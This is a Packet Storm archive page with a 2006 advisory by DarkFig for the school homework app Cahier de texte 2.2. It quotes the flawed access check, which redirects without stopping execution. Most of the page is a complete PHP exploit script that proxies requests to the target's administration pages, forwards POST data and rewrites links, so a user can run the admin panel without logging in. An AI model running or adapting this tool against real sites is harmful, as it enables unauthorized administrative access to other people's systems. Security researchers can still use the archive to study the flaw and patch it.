exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cahierdetexte22-bypass.txt

cahierdetexte22-bypass.txt
Posted Dec 28, 2006
Authored by DarkFig

Cahier de texte version 2.2 suffers from a bypass vulnerability.

tags | advisory, bypass
SHA-256 | 5c0ac412956c7f1a0d4be57717ba940c21ce9a5f58403cd85761f560ef8485c1

cahierdetexte22-bypass.txt

Change Mirror Download
<?
/*

Informations
============
Affected.scr..: Cahier de texte V2.2 (last version)
Poc.ID........: 17061224
Type..........: Bypass general access restriction
Risk.level....: High
Conditions....: None
Src.download..: www.etab.ac-caen.fr/bsauveur/cahier_de_texte/
Poc.link......: acid-root.new.fr/poc/17061224.txt
Credits.......: DarkFig

Vulnerable code
===============
<?php session_start();
if (isset($_SESSION['nom_prof'])) {
if ($_SESSION['nom_prof']<>'Administrateur') { header("Location: ../index.php");}
;} else { header("Location: ../index.php");}?>
...

*/

if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';

$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);

function headers()
{
print("<html>
<head>
<title>Cahier de texte V2.2 Exploit</title>
</head>
<body>
<form method='get' action='".$_SERVER['PHP_SELF']."'>
<input type='text' name='host' value='host'>
<input type='text' name='path' value='path'>
<input type='text' name='prox' value='proxyhost:proxyport'>
<input type='submit' value='Exploit'>
</form>
</body>
</html>");
exit(0);
}

function sockxp($host,$path,$prox,$wanted)
{
$hope = !empty($prox) ? $prox : $host.':80';
preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
$hosh = $hosta[1];
$hosp = $hosta[2];

$recv = '';
$meth = $_SERVER['REQUEST_METHOD'];
if(empty($hosh) || empty($hosp)) exit(1);

if(!$sock = fsockopen($hosh,$hosp)) exit(1);
$dat = $meth." http://".$host;

if($meth === "POST") $dat .= "/".str_replace("administration//","",$wanted);
else $dat .= $path.$wanted;

$dat .= " HTTP/1.1\r\n";
$dat .= "Host: $host\r\n";
$dat .= "Connection: Close\r\n";

if($meth === "POST") {
$postdata = get_postdata();
$dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
$dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
$dat .= $postdata."\r\n\r\n";
} else {
$dat .= "\r\n";
}

fputs($sock,$dat);
while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

return html_replace($recv);
}

function html_replace($htmlc)
{
global $host,$path,$prox;
$iniv = $_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
$newc = str_replace("action=\"","action=\"$iniv",$htmlc);
$newc = str_replace("=\"..","=\"http://${host}${path}administration/..",$newc);
$newc = str_replace("a href=\"","a href=\"$iniv",$newc);
$newc = str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
$newc = explode("\n",$newc);
for($i=0;$i<count($newc);$i++) {
if(preg_match("/DOCTYPE/",$newc[$i])) $v=1;
if($v) $nnewc .= $newc[$i];
}
return $nnewc;
}

function get_postdata()
{
$postdata = '';
foreach($_POST as $key => $value) {
$postdata .= $key."=".$value."&";
}
return $postdata;
}
?>
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close